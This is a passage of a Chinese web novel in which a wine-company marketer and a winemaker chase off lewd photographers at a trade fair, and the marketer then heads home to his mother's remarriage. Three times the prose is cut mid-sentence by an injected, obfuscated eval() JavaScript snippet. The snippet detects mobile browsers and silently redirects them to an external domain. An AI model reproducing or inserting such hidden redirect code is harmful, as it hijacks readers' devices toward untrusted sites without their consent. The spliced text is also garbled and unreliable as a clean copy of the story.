岳一宛乐得大笑:“就算有人花钱买他的黑料,你也不会卖吗?” “也不至于为这点钱就断送自己的职业前途,何况我的良知也不赞同这么做。”杭帆叹气,“唉,良心,我看就是这个东西在妨碍我发财!” 斜阳西坠之时,在各家展商的手忙脚乱中,大会展的第一天即将落幕。 因为有了免费试饮与互动活动的加持,直到会场的清场广播响起,罗彻斯特酒业的展位面前都始终排着长队。 终于能歇一口气的实习生苏玛,远远看见杭老师与岳老师走近,立刻连蹦带跳地冲了过去。 “杭老师!我的天!您真是奇才呀!” 脚不沾地地忙了一整天,小姑娘别在头发上的蝴蝶结都快散开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629780|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了:“虽然我一开始觉得‘和立牌干杯’这个主意好怪哦,但因为真的过于搞笑,所以效果反而出乎意料的好?!” “我们今天大概接待了——嗯,一百,两百,三百……哎呀数不过来啦!反正就是很多很多人!”她兴奋地绕着杭帆打转,活像是史前人类围着火堆进行的某种巫术仪式:“不仅我小号上的视频有近万点赞,我们官号的后台数据也超级无敌好!光是早上那个起泡酒开瓶的整活儿,就有近十万浏览量呢!要是把全网的所有相关内容都加在一起,数据破亿也不是问题!” 得意地叉腰挺胸,苏玛整个人都散发着扬眉吐气的光芒:“哼哼,虽然在我刚才查看的时候,那群谢咏的‘战斗粉’都已经灰溜溜地删帖了。但我是谁啊?我可是他们的对家诶!我的朋友们早在中午就录屏存证了!等过几天,要是有人敢大搞‘岁月史书’,我就把这些东西都甩他们脸上!” “哼哼,骂呀!有本事你们就继续骂呀?你们家正主哥哥对他的代言业绩可是珍惜得很呢!”小朋友手舞足蹈,恨不能立刻扭起秧歌:“要我说,谢咏本人可真是比他的粉丝要上道得多啦!” 杭帆赶紧拦住她:“你别,你千万别,苏玛,我们就当今早被骂的这件事从没发生过,好吧?” “反正他们都已经删帖了,”被工作奴役得很熟练的杭总监,大脑运转速度比计算机还快:“只要谢咏的粉丝不提,我们就当自己也失忆。这样一来,你回去之后就能在工作报告里写,‘活动取得了巨大成功,全网互动数据破亿,且都为正面的积极发言,卓有成效地维护了与谢咏粉丝的良好关系’。” 这有如锦囊妙计般层出不穷的社畜小花招,把岳大师都给听得一愣一愣的。 “有人中午在还跟我说,‘出来赚钱,不可能完全不被骂的啦’。现在就已经开始‘巨大成功’、‘正面积极’和‘卓有成效’了。” 岳一宛简直要被杭帆和苏玛这对师徒给笑死:“你俩真是耍得好一套春秋笔法!” 杭帆耸肩,“还不是因为Harris想要维护与谢咏粉丝的关系?我一开始都觉得这事在今天没戏。”他说,“碰杯这个互动,我是做好了会被粉丝骂到狗血喷头的心理准备的。” 谢咏粉丝的诉求,无非是要罗彻斯特酒业多给代言人拍摄新物料。这事说起来简单,但不存在的东西就是不存在——小杭总监就算有天大的本领,也不可能在展位现场凭空给谢咏变出一套照片来吧? “在互联网上,但凡不能满足粉丝的诉求,结局就一定是被骂。”杭帆说,口吻中悲喜难辨:“但如果因为害怕被骂就什么都不做的话,那就真的什么都不会发生。” 只有什么都不做的人,才能永不犯下任何错误。 “尽力而为之后,才能无愧于心。” 杭帆道:“即便谢咏今天没有发那个视频,就算粉丝完全不能理解我的难处,那我至少也已经努力过了。到了一天的最后,我可以告诉自己,虽然没能挽救罗彻斯特酒业与粉丝的关系,但我至少也为公司努力争取到了参展路人的好感与话题度。多年之后回忆起来,我也可以抬头挺胸地说,当时的我并没有在困境前束手待毙,而且从头到尾都对得起罗彻斯特开给我的薪水。” 如果想要让幸运女神投下她垂青的视线,如果想要证明世界从不掌握在极端情绪的手中——为了能让后续的故事发生,在狂暴风浪中,人也必须向前迈出至关重要的第一步。 “不过,虽然这次多少也有些运气加成的部分,”小杭总监愉快地做出了自己的陈词:“但喜闻乐见的半场大逆转,还是让人久违地感受到了做新媒体的成就感!” 岳大师连连点头,“好好好,所以既然我们杭总监的水平没有问题,那么斯芸酒庄的账号……” “绝对是它自己的问题!”二重唱一般,杭帆和苏玛齐声说道。 “哦,不过岳大师你尽可以放心,”眼见着诸人已经准备要开始收工,杭总监也低头检查起来自己今天拍到的所有素材:“答应过你的事情,就一定会做到。我现在的构思已经非常完整,回到斯芸就能开搞。” 除了抓拍到几张中规中矩的自家展位照片外,杭总监还拍下了一大堆视角古怪的素材(岳一宛问起过这些东西的用途,但他只是笑而不语)。而苏玛在边上眨巴着眼睛,一会儿看看她的杭老师,一会儿又看向她的岳大师祖,心中有一万个问题蓄势待发。 “杭老师要做什么呀?是要在斯芸的账号上搞活动吗?” 实习生小朋友在杭帆身边探头探脑,很是期待地搓起了手:“老师要是有什么能给账号起死回生的绝招,也教教我呗!反正等回了总部,他们也从不安排我做什么重要工作……刚好让我给杭老师远程打杂呀!” 太好了,苏玛。杭帆心中的小恶魔立刻吹起了号角:我已经等你这句话一整天了! “既然不忙,那我给你发派点工作吧。”杭总监微笑,“苏玛,我记得你很擅长剪小视频对吧?你帮我一个忙,就当是接了我的私活儿,每个月我给你按件计价。” “诶?私活?”苏玛傻了眼,“不是斯芸酒庄的工作吗……?” 这下,连岳一宛都投来了疑问的视线。 杭帆正要开口,身后的斜侧方,却再度传来一阵熟悉且轻微的机械噪音。 咔嚓嚓嚓嚓嚓。咔嚓嚓嚓。咔嚓嚓嚓嚓嚓嚓嚓嚓。 ——又是单反相机的连拍快门声。 48.拍摄者,被拍摄之物 ——这又在搞什么东西? 杭帆骤然转身,却见展位后方十数米处,正蹲伏着一大群“摄影爱好者”。 他们扛着长枪短炮的各式相机,将镜头怼在场馆出口处,肆无忌惮地冲着各家展位里正结伴下班的礼仪小姐们一顿猛拍。 “今天的这些都长得不好看,不是腿短就是胸小。趴地上拍了大半天,没一个耐看的,白费了我好大劲儿。”一个大学生模样的矮个儿青年对他的同伴说,“所以我早都跟你讲了不是?明天有报社媒体要来,漂亮妹子肯定都在明天!” 脖子上挂着一台相机,手里还端着一台相机,腆着肚子的老法师头上秃得不剩几根毛,声音却吼得比谁都响亮,“看这儿!喂,往这儿看哪!哎你们,小娘皮,躲什么躲?!我呸,真是给你脸了!” “要我说,你们小年轻啊,还是错过了好时候。”嘴里咬着烟头的中年男人,衬衫领口上印了一整圈黄不拉几的油斑,说起话来像是一口痰含在嘴里似的:“九零年,我先是到了上海,然后又南下去广东做生意。那时候,喔唷,说出来都要把你们羡慕死,就连酒吧的吧台上,都有模特队的走秀喔!付五块钱,小费,就能摸一下腿好吧?二十块就能给你随便摸随便看!真的啊,我骗你做什么?” 展商请来的这些“礼仪小姐们”,大多都是些兼职打零工的年轻女学生。为了一两百块的日结薪水,她们穿着临时租来的劣质高开衩旗袍与低胸礼服裙,身上捂得汗流浃背,却又要因为这些衣服不方便上厕所,连多一口水都不敢喝。 自打游客入场后,一连八个小时,她们都要蹬着十厘米高的细跟鞋,手捧沉甸甸的试吃用糖盒或酒水样品,在展位走来走去,对每一个驻足观看的客人送上甜美的微笑:“小朋友,姐姐给你一把糖吧?女士您好,我们现在有新品试吃活动,这款是无咖啡因的,您来一个尝尝吗?” 尽管小腿肌肉站到抽搐,酸痛的手臂累到发抖,但这些女孩却连中午的那份盒饭都不曾打开:礼服裙的腰身过分紧窄,她们害怕吃下去的东西会被勒吐出来。 即便是不需要说话、只用微笑着举起品牌方展板的那些岗位,妆造齐全又近乎无休地站上一整天,也足以称得上是一份消耗惊人的重体力劳动。临到下班,这些终于能够脱掉沉重衣装的“礼仪小姐”,大多都已经累到虚脱。 在那些像滴着涎水的舌头一样伸过来的镜头面前,疲惫至极的她们只能选择扭过脸去,或是谨慎地用帆布包挡住面孔,脚步匆匆,逃跑似的奔向车站与地铁的方向。 “哎哟喂,看这边呀!”眼见着自己傲人的摄影技术竟然遭受冷落,把个老法师都急得开了骂腔:“我艹你妈个婊子养的,傲个什么东西,给脸不要脸!” 男大学生和他同伴交换了个眼神,都是一脸暧昧的笑:“以后还是得去小红书上接单子,”他们故意说得很大声,“妹子花一千块来请你拍照,嘿嘿,只要你白天拍得好,晚上就能开间房继续拍嘛……” “喔唷,快看那是谁!”中年男人正掀起衬衫下摆擦脸上的汗,猛然看见又一群下班路过的年轻女孩,举起相机就心急火燎地要往前凑:“她是那个小网红呀!后面那个,对对对,后面后面!哎呀,抖音上很火的呀!你没看过啊?就那个跳舞的——” 身为新媒体从业者,杭帆和这些自诩“人畜无害”的“摄影爱好者们”可谓是积怨已久:不管别人是不是在进行商业拍摄,也不管被拍摄的对象本人同不同意,我路过,我想拍,我就拍了咋地! 不仅要拍,还要挤开职业摄影,推搡工作人员,光明正大地挤上最好的机位来拍。哪怕租下了整块场地,也挡不住这些人隔着玻璃、翻越围栏、掀开道具,大摇大摆地把他那台破相机给怼到近前。 故意偷拍网红博主裙底的,跟着换衣服的模特进洗手间的,一边拍还一边顺手偷走未拆封样品的……杭帆从业至今,亲身遇见过的奇葩神人,真是用两只手都数不过来。 以至于他一看见众人这副围追堵截的无耻架势,又听见这些人轻佻腤臜的说话口吻,就立刻进入了略显狂暴的战斗模式。 “什么人?拍什么东西?谁允许你们拍了?” 杭帆脸色一沉,猫一样的眼梢高高挑起,为端丽面孔平添几分煞气。 “今天的展会已经清场了,没听见广播吗?闲杂人等不要在这里继续逗留!” 说着,他已经几步迈上前去,用身体挡住了那些猥琐追向下班女孩们的镜头。 目光锐利地平扫一圈,杭总监神色凛冽,有似薄冰磨成的寒刃。 “——还不走?!” 相处日久,好脾气的杭总监总会给人以一种能被随意揉捏的错觉。此刻,他陡然变脸,厉声疾色的冷峻语气,令斯芸的首席酿酒师都惊得措手不及。 反而是苏玛,立刻就搭上了工作战斗状态的杭总监的思考回路,飞快地拿出手机,大声对电话那头说:“喂您好!请问是主办方吗?我们这边是H-37展位呀,对对,是罗彻斯特酒业,我们这里有人在到处乱拍呀,可我们现在要结束收摊了很难办哪,你们也让保安过来管一下呀!” 一听到保安两个字,大学生模样的男青年立刻风紧扯呼,抱起相机就溜。中年男子吐掉了烟头,眯眼看见杭帆等人身上挂着的展会工作证,这才打着哈哈走过来道:“小兄弟,行个方便嘛,你看我们,也都是买了票进来的……” “我叼你老子!你小子算个叼!” 老法师抄起相机,作势就要砸出手里的这台金贵玩意儿:“叼毛没长齐的东西,教我做事?我告诉你,格老子退休前可是——” “随意发布有损我们品牌形象的内容,法务部一定会提起诉讼,索赔金额从五十万起。” 杭帆半步不退,语气森冷:“把Logo和展位都拍进去了的偷拍内容,属于对品牌的恶意抹黑,我们公司绝不姑息,一定会追究到底。“ 钱财乃人之命门。眼瞅着杭帆面不改色地说出什么索赔诉讼云云,那中年男人也立刻灰溜溜地夹起尾巴撤退。 只剩一个老法师,不仅胡乱叫嚣着“有本事你打死我”“我拍了十多年,哪个说我犯法!你算个叼,我艹你大爸”,握成拳的手还那虚虚晃晃,仿佛随时要往杭帆脸上招呼过去。 “哎,说几句话而已,老人家这是要做什么呢?” 抬手摁住老头子的肩,岳一宛笑容和蔼得像是春天里出来觅食的西伯利亚棕熊:“君子动口不动手,对吧?出来玩儿嘛,做什么要伤了彼此的和气呢?” 在健身房里徒手硬拉一百二十公斤的酿酒师,只消一根手指,就能让人感受到来自地心引力的美妙呼唤。 身边“队友”们都已跑了个精光,老法师未战先怯,气势上就已弱了三分。 肩上再被岳一宛这泰山压顶似的一拍——但见此人猿臂蜂腰,身高比自个儿高出一个头不止,又生了双鬼火似的绿莹莹瞳孔——他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633285|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两条腿立刻抖得比筛糠还夸张。 “我、我不怕你!你来!有本事你来打我,你打我试试!” “啊呀!打人啦!动手打人啦!”苏玛立刻尖叫起来:“救命呀!报警啊!这个老头要拿相机打人呀!” 一听要报警,老头脸色明显一僵。 他往四下里张望一圈,看到展位的工作人员都在往这边来,赶忙把相机往自个儿怀里紧紧一拢,慌里慌张地就往场外跑。 跑路前,他还不忘丢下几句软弱无力的狠话:“我!你……我要去找你们领导,我要投诉你们!洋鬼子!八国联军!耻辱,不是男人!孬种玩意!我要去告你们!” 冷眼看着这人逃走的背影,岳一宛问杭帆:“罗彻斯特真的会因为在偷拍照片里出现自家Logo而起诉他们吗?” 话里话外都是想要看戏的意思。 “当然是我诈唬的。”杭总监叹气,“咱们的老东家能有这么好心?那怕不是地球都得绕着月亮转。” 苏玛之前跟着杭帆出过几次外勤,对这些举着相机横冲直撞“老法师”也是深恶痛绝。 “面对这种人,杭老师有他的绝杀三件套!”她向自家师祖掰起手指:“先威胁说要起诉,然后叫保安,最后就是报警!” “有用吗?”岳一宛笑问。 “一半一半。”杭帆紧攥着运动相机的支架,指节都泛出了清白,看起来是真想要和这群人打上一架:“有时候口头威胁不管用,对方也没真的违法乱纪到能报警的程度,那就只能靠纯粹的武力来说话。” 他的实习生在边上颠儿颠儿地做解释道:“人墙战术!或者单纯用蛮力把那些人挤开!总之,不能被他们抢走机位,也不能让模特和博主们被揩油。所以在必要的时候,我们还要充当人肉碰碰车!” “人墙?蛮力?就靠你们这小身板?”岳大师阴阳怪气地惊叹起来:“真是好险恶的工作环境啊!” 嘿,你这个人!杭总监翻了个白眼,心道:也不想想谁才是我日常工作中最险恶的一环! ……但好像还是有哪里不太对劲。他想。 最开始的那阵快门声——真的是从刚才这堆人的方位上传过来的吗? 机械快门的物理摩擦声虽然响亮,但也并非是如放鞭炮那样响亮的震撼噪音。 在室外,在混杂了各种声音的环境里,连拍快门的机械噪声,或许并不该如此地清晰地出现在自己的耳边…… 除非,“那个镜头”就正正好好地在他身后。 并在这样一个极近的距离上。 连续摁下了快门。 刹那之间,杭帆只觉毛骨悚然。 这种“正在被窥伺”的怪异感,令他不由自主地握紧了手里的运动相机——是谁在背后偷拍?到底拍下了什么? 为什么? “杭帆?你低血糖了?”岳一宛伸手过来,“脸色有点差啊。” 就在这飞电迅疾般的瞬息里,一点模糊的闪念,在杭帆脑海深处轻轻地亮了一下。 他没来得及捞住这一丝直觉的灵光。因为手机的来电铃突然振动了起来。 窘迫地推开了岳一宛递到自己嘴边的糖果,杭帆背过身去,又走远了几步,这才终于在私人手机上接起了这通电话。 “喂?……妈。” 如狂风般暴雨般的激烈情绪,骤然在胸中波翻浪涌。 紧接着,失望的剧痛就立刻劈中了他。 49.在路上 “清明节假期,你不回家吗?” 提起这话的时候,杭帆正在给自己系上副驾座的安全带。 “回哪里去?”手握方向盘的岳一宛反问道:“斯芸就是我家。” 糖酒会闭幕才两天,清明小长假就已紧随而来。 早早地收拾好了行李,Antonio一大早就往机场赶:他宣称自己此行必将补上去年在成都的遗憾,立誓要做夜店里最靓的崽。 在这一众来自外地的酒庄雇员里,杭帆是最后一个买上离开烟台的车票的。 看着12306发来“候补订单兑现成功”的短信,想到自己真的马上就要踏上归家的旅程——他实是不知自己到底是该喜还是该忧。 “如果你实在不想回去的话,杭帆。” 在滨海之乡的起伏丘陵间,皮卡车平稳地飞驰于公路上。 岳一宛从侧视镜里看向他。 “我也没有别的意思,”酿酒师耸了耸肩,说:“就只是告诉你一声,留下来也是可以的。” “反正我一直都会在酒庄里。” 谢过了对方的好意,杭帆摇头。 “我也不是不想见她,”他说,喉头似有异物梗塞:“只是……” 他当然想念她,就如同离巢之鸟依旧理所应当地眷念着初生时那间的温暖巢穴,就如同蒲公英的种子,在千里之外也毫不犹豫地依旧思念着故乡里那朵金色的花。 可这份想念,时而让他感到温暖,时而也让他痛苦不堪。 早在廿多年前就被剪断了的脐带,如今却像是在从他的锁骨里串上无形的锁链,来自杭艳玲的任何一记无心牵扯,都令杭帆感到敲骨淌髓之痛。 “我只是不知道该怎么面对她。”他喃喃,“因为我在生她的气。但我又害怕让她知道我在生气。” 比起自己那些无处安放的痛苦与愤怒,让杭艳玲伤心,这似乎是一个更加不可饶恕的过错。 而岳一宛轻声回答他:“……我能理解。” 车辆驶进城区,杭帆的工作手机上弹出一条最近通知。 『收获1个新的粉丝 @许东说酒关注了你』 杭总监大感无语:“不是我说,许东这人的反射神经也真是够长的啊!” “前几天他在微信上跟我套近乎,就讲什么他一直很喜欢斯芸,始终在关注斯芸的动态,觉得这是国内最顶级酒庄,想来这里拜访好多年了云云……这都过去多久了,结果他现在才终于想起来要关注斯芸的账号?拜托,撒谎之前也先稍微打个草稿吧!” “醉翁之意不在酒,说的就是这厮!”一听到许东的名字,斯芸的首席酿酒师当即就哔哔叭叭地开始放起了厥词:“这种人,嘿!我可见得多了!他能懂什么葡萄酒?不过是略懂皮毛,勉强能做成一门生意,再顺手哄抬一下自己的身价而已!” 手中的方向盘打了个转弯,岳大师已经在心里给这人判了死刑立刻执行:“但杭总监,你是真的觉得,大会展那天搞偷拍的人不是他?” “嗯……主要还是因为时间对不上。” 打开企业微信的客户朋友圈,杭帆翻到许东数天前发的那条自拍:“那天上午,在糖酒会开展之前,他就已经在机场候机了。” 照片里的许东,穿一身烟红色西装,戴一副镜架镶钻的黑墨镜,手里拈着一杯起泡酒,云淡风轻地配文曰:为什么我要大清早地跑来赶飞机?因为成功总是青睐有准备的人! 在他身后,高贵的“头等舱休息室”几个大字正在闪闪发光。 “而我们下午快收工的时候,他人已经到了香格里拉。” 定位在云南某酒吧的许老板,意气风发地拉起他的“好兄弟”们一起合影。那油光滑亮的大背头上像是抹了整十斤的发蜡,而效果开到最大的磨皮滤镜,又在他的脸和脖子上敷出一层腻人的粉白色。 这下,即便是岳一宛也不得不承认:如果一个人必须得摆出如此造作的姿势,才能够“毫不经意”地展露出自己衬衫袖口上的那对红宝石饰扣的话……许东这厮确实是有点东西。 “我看他恨不得把那支金表镶在自己额头上。” 酿酒师失声大笑,觉得自己的眼睛都快被钻石给闪瞎:“哎你说这人,还真是一点也不掩饰自己想要炫富的欲望啊!坦率得简直都让人有点佩服了。” “所以,就以他的这套行事作风来看,我觉得许老板还不至于要做偷拍这么绕弯子的事情。”杭帆干巴巴地道:“毕竟,就连在企微上和人套近乎这事儿,他也就只迂回了短短一天。” 想到那段共计五回合的对话,杭总监可是真的半点也笑不出来:“我很忙啊!哪有空敷衍他!只能说不好意思我在加班,以后有空再聊。” 结果许东竟然直接一个语音通话打过来,开门见山地问:杭老师,你能接受男人吗? “哈?!什么东西!” 手上一滑,某人差点把车开进绿化带里去:“他好冒昧!” “我心想,啊?和许东你?这难道只是性取向的问题?这完全就是品味层面的危机了吧!”在岳一宛的狂笑声中,皮卡车猛得来了个甩尾急转,把杭帆吓得握紧了安全带:“——卧槽岳大师,我求你开稳点儿!” 在小杭总监看来,这不过是一桩再寻常不过的社畜笑话(如果没有发生在自己身上,那就更好了。可或许正是因为如此,杭帆才能肆无忌惮地将之拿出来当笑话讲)。但直到把车开进高铁站的停车场,岳一宛都还在反复念叨这件事。 “要不还是拉黑他得了。”不住地碎碎念着,首席酿酒师停稳了车:“斩草就得除根,唯有此举方可一刀断绝后患。还请陛下三思啊!” “寡人觉得爱卿的建议不错,但寡人也自有寡人的难处。”慢吞吞地拉开了车门,杭帆重重一叹:“别忘了,只要Harris想,他现在能看到我们所有人的企业微信对话。” 他说:“要是拉黑了许东,又不幸被Harris抽查到这段记录……你猜Harris会怎么讲?‘年轻人,多大点事儿,为了工作,你就忍一忍嘛!’” “恶!打住!”岳一宛被杭帆说得背后发毛,“我都快要能想象到Harris说这话时的语气了!” 陪同杭帆走到了检票闸机前,他在这里与对方挥手告别。 “一路顺风,杭总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639493|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监。我们节后见。” “节后见。”杭帆冲他摆手,“记得路上注意安全。” “嗯哼,”岳一宛笑答,“我可是闭着眼睛,也能全须全尾地开回酒庄的人。” 目送着对方的身影消失在闸机后,酿酒师已经迫不及待地期待起了假日的结束。 四月伊始,绰如霞蔚的粉白色花朵,正漫山遍野地开在山路两侧的种植园里。 当岳一宛与他的皮卡车穿行在缤纷落雨般的桃李飞花之中时,杭帆正在疾驰向南的高铁上焦虑地刷着手机。 接到杭艳玲电话的当天晚上,大感崩溃的杭帆,给白洋发去了一大串近乎咆哮的感叹号。 然而白洋并没有回复。 他已经有半个多月不曾回过杭帆的消息。两人间的最近一次聊天记录,仍然停留在三月中旬的那次。 翻了翻这家伙的朋友圈,白洋最近发出的一条内容,是向各路好友们通告自己的人身安全无虞,目前正要绕开当地交战区以前往邻国首都的消息。时间同样是在两周之前。 自那之后,此人就像是在中东的沙漠里蒸发了似的,再无半点音讯。 再过几日就是整整二十天了。杭帆不住地敲打着手机背面,心想这家伙难道是准备刷新他的个人最高纪录? 好友的再度失联固然让杭帆感到不安,但他自己也仍有一大堆琐碎事务需要操心。 ——假若许愿有用,他甚至愿意立刻皈依一种宗教,就为了能让这段铁轨无休无止地延伸下去,让自己可以迟一点、再迟一点地见到杭艳玲。 但杭帆知道,这一切终归都是徒劳。 道路会有尽头,行车必有终点,正如他不得不回到杭艳玲身边,听她用幸福又快乐的语气,亲口宣布那个残忍的喜讯。 时逢小长假,杭帆的各位老同学与旧时合作伙伴们都纷纷在朋友圈里铆劲。 在这大几百张的、状似松弛但又处处透露巧思的照片之中,唯有路清卿的发言最为简短有力。 “完美的假日,从奶茶+游戏开始。” 朴实无华的文字里,充满了牛马今日无需拉磨的淳真喜悦。 下一秒,杭帆已经点开了路清卿的对话框。 “清姐,在忙吗?可以向您咨询个事吗?” 在中文里,假日一词,就是“我现在很有空”的意思。至少杭总监的甲方和领导们都是这么认为的。 一大早就被打断了游戏进程的路清卿,心情显然是十分的不美妙。 “叫我路律师。”她说,“案子很急吗?节后再讲会让人坐牢吗?如果都不是的话,我现在正休假,请在听到‘滴’的一声之后,以文字的形式完整陈述你的——” “是真的有点急。”杭帆压低了声音,“就是之前签赠予合同的时候向您提过的那件事,我妈妈她……” “啊,噢。” 语音通话的另一头,路清卿退出了游戏。 在这静寂如死的气氛中,她郑重地咳了两声,这才重新开口。 “我知道你很急,但你先别急。” 路律师冷静道:“天要下雨,娘要嫁人,急也没用。” 50.一个孩子的祈祷 “——确实是你妈要嫁人对吧?” 在一片尴尬的静默中,路清卿还特意又确认一遍。 这些律师的幽默感可真是让人难以恭维。 “她……是的。她这次喊我回去,应该是要和男方结婚了。” 短短一句话,杭帆却说得艰难无比。 就好像每一个字词之间都兀自生出了荆刺,又在口腔的脆弱血肉中,洞穿出无数鲜血淋漓的伤口。 “我想向您咨询一下。她和男方的这种情况……结婚,会存在风险吗?” 路清卿那边传来咔咔的鼠标点击声,大概是在电脑里找档案文件。 “风险,你是指哪一方面的风险?”路律师问,“如果你问的是刑事方面,嗯,在你出生前后,他们的非婚同居状态有可能会构成事实重婚。但因为事情发生在二十多年前,你母亲当时并不知情,而男方的妻子现在也已经亡故,以一般常理而论,不太可能会有人来继续这件事。” 心情复杂地,杭帆看向车窗外:“……我其实没想到这还可能触犯刑法。” “如果你问的是民事方面的风险,主要是指什么?你给你妈买的那套房子吗?”路律师很快就找到了之前做房产赠予协议时的档案记录,“哎,说起来之前的赠予协议书,你已经拿去做过公证了是吧?” “对。”杭帆回答,“签完字就拿去公证了。” 路律师对自家客户的懂事程度感到非常满意:“那就好。咱们有文件在手,就算有发生纠纷,也能确保房子被视为你妈的个人婚前财产。” “这点我倒是不担心,”杭帆说,“我充分相信路律的水平。只是,男方毕竟是做生意的,我难免会替她担心未来的债务问题……” 江山代有才人出,前浪死在沙滩上。 自古以来,商场正如战场,从未有过常胜不败的永恒王者。而身在朝云暮雨的互联网世界中,杭帆早早地就认识到了世事无恒的铁则。 当杭艳玲满怀喜悦地告诉他说,那个男人终于与她复合的时候,杭帆抖着手挂掉电话,第一件事就是把生父的名字输入了天眼查。 检索得到的结果并没让他感到意外。 “被强制执行?他欠了多少钱啊?” 八卦之心人人有,就是律师也不能免俗。 杭帆骇笑两声,喉咙里发出了像是被掐住脖子般的痛苦气音。 “八万块。”杭总监说,“荒诞吧?我都替他感到好笑。” 见多识广如路律师,一时也不由陷入了沉默。 “往好处想,以男方那样的生意规模,八万块也确实不是大数字。”她试图分析这一局面,“总好过是因为欠八千万而被强制执行的。但如果咱们往坏处想……” “这也很可能说明,他根本就连八万块现金都拿不出来。” 杭帆沉重地接住了律师的后半句。 路律师哎了一声,“如果你要担心她婚后的债务问题,那我只能说,在结婚这桩事体里,能有风险的部分可实在太多了。 “无论是被丈夫说服,还是主动想替丈夫借贷到周转生意的资金,她都有可能会把自己的房产拿去做抵押,或者是用自己的名义向银行与信贷机构借钱。很常见的。” 路清卿说:“如果是这种情况,到最后,最需要承担偿还责任的,肯定还是你母亲本人。” “……好的。”杭帆还在试图做出做出最后的挣扎:“那有没有什么办法,能替她阻隔掉这些潜在的风险?” “没有。”律师的判词无情锤落下来,“要么不结婚,或者不发昏。这是唯二可以规避风险的方法。” 她说:“作为具备完全行为能力的成年人,法律赋予你母亲的一切自由权力,你都是无法阻止的,杭帆。” 窗外,列车正悠然行驰过被春光染绿的江南平原。如镜的水田里,倒映出一片片碧蓝的天光,如同杭帆幼年记忆里的那块天蓝色塑料手镜。 幼小的他被杭艳玲抱在腿上,那时的母亲比如今的杭帆还要再年轻上许多。她让他帮忙举起那面塑料小镜子,自己则微微侧过脸去,握着一根被削到只剩半截的眉笔,细细地描画起了眉眼。 「我们一会儿就去车站接爸爸哦,」她的幸福笑容,比一切妆面的粉饰都更加美丽:「爸爸一定给你带了糖回来。先答应我,少吃几颗好不好?」 “我不是想要阻止她。” 在低语中握紧了拳头,片刻之后,杭帆终于又无力地放开了手。 “我只是……害怕她再次被人伤害。” “唉,杭帆。”路清卿很是怜悯地叹了口气,“可该发生的总是会发生。” 计程车载着杭帆驶进小区的时候,正是每栋楼里都响起油锅炒菜声的钟点。 这是家两年前才刚刚交房的新小区,设施崭新,道路平整,一派祥和富足气象。绿化带与小公园里栽种的各式观赏植物,近来也已陆续进入了花期,满目姹紫嫣红里,尽是热闹绚烂的春季色彩。 此地的住户大多都是新婚未久或单身购房的年轻人,朝九晚五,昼伏夜出,对上一代的旧闻普遍缺乏兴趣。即便是同搭一座电梯,邻里之间也只有帮忙揿下楼层摁钮时的两句简短对话,绝不逾雷池半步。 “小宝!”开门的一刹那,杭艳玲的立刻笑成了一朵花:“你都到啦?我刚还问你几点到站呢,怎么也不回我一个!” 任由她接过自己手中的行李箱,杭帆警惕地朝客厅的方向扫了几眼,这才弯腰换鞋道:“我怕你要来接嘛,”他说,“这点路,不至于的。妈,快五点了,你饿了没有?咱俩今晚出去吃?” “干嘛要出去吃?” 做母亲的,盼星星盼月亮地等到孩子回家,自然是早早地煮好了甜汤,又忙不迭地切了水果端出来:“你爹去看望朋友了,过会儿就回来。咱们一家人,好不容易团聚一次,头天晚上当然先吃点家常菜呀,你说对不对?” 眼看着杭帆喝掉了一整碗甜汤,杭艳玲这才笑意盈盈地端着空碗回到厨房里。 “咱们附近商圈开了几家新饭店,我前阵子和你安姨她们去过,”在灶台上炖煮的砂锅发出咕嘟咕嘟的声音,仿佛是在为她的劳作进行欢乐的伴唱:“我已经打电话定好位置啦,明天中午在一起过去吃!今晚我买了鸡,做你喜欢的红烧鸡块。还有鲫鱼,用来炖汤,到时候再给你用破壁机打一下,过滤之后,保证一点刺都没有。” “哎,小宝,今天外面天气有点热的哦,你吃冰棍不啦?特地买了你喜欢的荔枝冰棍,就在冷冻层里,自己拿来吃呀!也别吃太多,知道的吧?” 在母亲眼里,与她血脉相连的这个孩子似乎从不曾真正长大。无论走出多远,只要杭帆回到她的庇护之下,他就永远是那个小小的、脆弱的,需要她倾尽自己的所有去保护并养育的婴孩。 “……知道的,妈。” 杭总监的喉咙里好似哽着一朵棉花。 杭帆的家乡是一座富庶的江南小城。而杭艳玲的这套养老新居,不仅地段优越,而且交通方便,距离商圈与医院也极近,均价实是不菲——便是扛上百余万的贷款,也只得一户九十余平的中等房型。 久居在外,杭帆原是不希望在家中为自己留置房间的,他认为这是一种资源浪费。但杭艳玲却说什么也不能同意。 「这可是咱们家呀!」她一旦固执起来就完全不听人劝:「回到自己家来,连个房间都没有?这算什么事!」 杭艳玲甚至还将他从小到大的所有零碎物件儿,都给一股脑儿地搬了进去。 